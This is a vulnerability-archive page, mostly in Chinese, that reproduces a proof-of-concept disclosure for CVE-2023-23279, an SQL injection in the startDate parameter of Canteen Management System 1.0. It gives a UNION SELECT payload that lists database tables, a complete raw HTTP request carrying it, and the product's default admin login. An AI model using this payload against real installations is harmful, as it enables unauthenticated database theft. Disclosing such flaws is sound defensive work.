目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2023-23279 PoC — Canteen Management System SQL注入漏洞

来源
关联漏洞
标题: Canteen Management System SQL注入漏洞 (CVE-2023-23279)
Description:Canteen Management System是Mayuri K.个人开发者的一个食堂管理系统。 Canteen Management System 1.0版本存在安全漏洞,该漏洞源于存在SQL注入漏洞。
介绍
# SQL injection in Canteen Management System v1.0.

## Bug author: Tuannq
Discovered Day: 5/1/2023
Vendors: https://www.sourcecodester.com/php/15688/canteen-management-system-project-source-code-php.html

Login account: `mayuri.infospace@gmail.com/rootadmin` (Super Admin account)

Vulnerability File: /php_action/getOrderReport.php

Vulnerability location: /php_action/getOrderReport.php, `startDate`

**CVSS 3.0**: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

Payload: `startDate=2023-01-05'+UNION+ALL+SELECT+4406,CONCAT(0x716a627a71,IFNULL(CAST(table_name+AS+NCHAR),0x20),0x716a6a7071),4406,4406,4406,4406,4406,4406,4406,4406,4406,4406,4406,4406,4406,4406,4406,4406+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema+IN+(0x796f757468617070616d)--+-`

```
POST /youthappam/php_action/getOrderReport.php HTTP/1.1
Host: localhost
Content-Length: 297
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="104"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://localhost/youthappam/report.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

startDate=2023-01-05'+UNION+ALL+SELECT+4406,CONCAT(0x716a627a71,IFNULL(CAST(table_name+AS+NCHAR),0x20),0x716a6a7071),4406,4406,4406,4406,4406,4406,4406,4406,4406,4406,4406,4406,4406,4406,4406,4406+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema+IN+(0x796f757468617070616d)--+-&endDate=2023-01-06
```

The request can be sent by an unauthenticated user, for that reason, the CVSS of this vulnerability is **9.8**

## PoC
![](https://i.imgur.com/sXcZPbI.png)

## Source Code Analysis
The value of `startDate` parameter was passed to the SQL query and executed without any sanitized.

![](https://i.imgur.com/juWQqAL.png)
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →